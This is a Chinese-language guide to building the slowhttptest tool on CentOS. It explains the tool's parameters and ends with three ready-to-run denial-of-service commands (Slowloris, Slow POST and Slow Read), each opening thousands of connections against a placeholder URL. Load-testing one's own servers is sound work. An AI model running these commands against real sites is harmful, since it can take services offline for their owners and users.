slowhttptest安装及使用步骤
1、环境:CentOS
2、安装相关依赖
安装openssl openssl-devel yum install openssl openssl-devel 检测安装是否成功 openssl version -a 安装gcc yum install gcc gcc-c++ gcc-g77
3、下载slowhttptest
wget https://github.com/shekyan/slowhttptest/archive/v1.8.1.tar.gz (不能直接下载时可以通过地址下载到本地上传) tar -xzvf v1.8.1.tar.gz cd slowhttptest-1.8.1 ./configure make make install
4、参数说明
-g 在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据 -H SlowLoris模式 -B Slow POST模式 -R Range Header模式 -X Slow Read模式 -c number of connections 测试时建立的连接数 -d HTTP proxy host:port 为所有连接指定代理 -e HTTP proxy host:port 为探测连接指定代理 -i seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。 -l seconds 测试维持时间 -n seconds 在Slow Read模式下,指定每次操作的时间间隔。 -o file name 使用-g参数时,可以使用此参数指定输出文件名 -p seconds 指定等待时间来确认DoS攻击已经成功 -r connections per second 每秒连接个数 -s bytes 声明Content-Length header的值 -t HTTP verb 在请求时使用什么操作,默认GET -u URL 指定目标url -v level 日志等级(详细度) -w bytes slow read模式中指定tcp窗口范围下限 -x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度 -y bytes slow read模式中指定tcp窗口范围上限 -z bytes 在每次的read()中,从buffer中读取数据量
5、三种模式攻击的例子
slowloris模式: slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://test.com -x 24 -p 3
slow post模式: slowhttptest -c 5000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://test.com -x 10 -p 3
slow read模式: slowhttptest -c 5000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://test.com -p 3